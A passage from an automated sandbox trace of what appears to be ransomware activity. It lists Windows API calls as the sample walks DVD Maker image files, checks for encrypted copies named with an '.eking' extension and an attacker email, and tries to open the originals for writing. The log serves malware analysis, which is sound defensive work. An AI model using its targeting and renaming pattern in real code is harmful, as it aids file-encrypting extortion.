maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.590] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2821) returned 1 [0181.590] CloseHandle (hObject=0x1ec) returned 1 [0181.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0181.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0181.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.591] SetEvent (hEvent=0x174) returned 1 [0181.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.591] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=17378) returned 1 [0181.591] CloseHandle (hObject=0x1ec) returned 1 [0181.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0181.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0181.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.592] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2903) returned 1 [0181.592] CloseHandle (hObject=0x1ec) returned 1 [0181.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0181.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0181.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.593] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5088) returned 1 [0181.593] CloseHandle (hObject=0x1ec) returned 1 [0181.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0181.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0181.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.595] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3130) returned 1 [0181.595] CloseHandle (hObject=0x1ec) returned 1 [0181.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png")) returned 0x20 [0181.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png")) returned 0x20 [0181.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.596] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5025) returned 1 [0181.596] CloseHandle (hObject=0x1ec) returned 1 [0181.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png")) returned 0x20 [0181.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png")) returned 0x20 [0181.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.600] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3118) returned 1 [0181.600] CloseHandle (hObject=0x1ec) returned 1 [0181.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png")) returned 0x20 [0181.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png")) returned 0x20 [0181.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.601] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4955) returned 1 [0181.601] CloseHandle (hObject=0x1ec) returned 1 [0181.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png")) returned 0x20 [0181.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png")) returned 0x20 [0181.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.602] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3081) returned 1 [0181.602] CloseHandle (hObject=0x1ec) returned 1 [0181.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png")) returned 0x20 [0181.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png")) returned 0x20 [0181.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.605] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3887) returned 1 [0181.605] CloseHandle (hObject=0x1ec) returned 1 [0181.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png")) returned 0x20 [0181.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png")) returned 0x20 [0181.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.609] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0181.609] CloseHandle (hObject=0x1ec) returned 1 [0181.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png")) returned 0x20 [0181.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png")) returned 0x20 [0181.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.609] SetEvent (hEvent=0x174) returned 1 [0181.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.619] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2820) returned 1 [0181.619] CloseHandle (hObject=0x1ec) returned 1 [0181.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0181.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0181.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.918] SetEvent (hEvent=0x174) returned 1 [0181.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.920] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3130) returned 1 [0181.920] CloseHandle (hObject=0x1ec) returned 1 [0181.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0181.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0181.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.921] SetEvent (hEvent=0x174) returned 1 [0181.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.922] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5025) returned 1 [0181.922] CloseHandle (hObject=0x1ec) returned 1 [0181.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png")) returned 0x20 [0181.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png")) returned 0x20 [0181.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.923] SetEvent (hEvent=0x174) returned 1 [0181.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 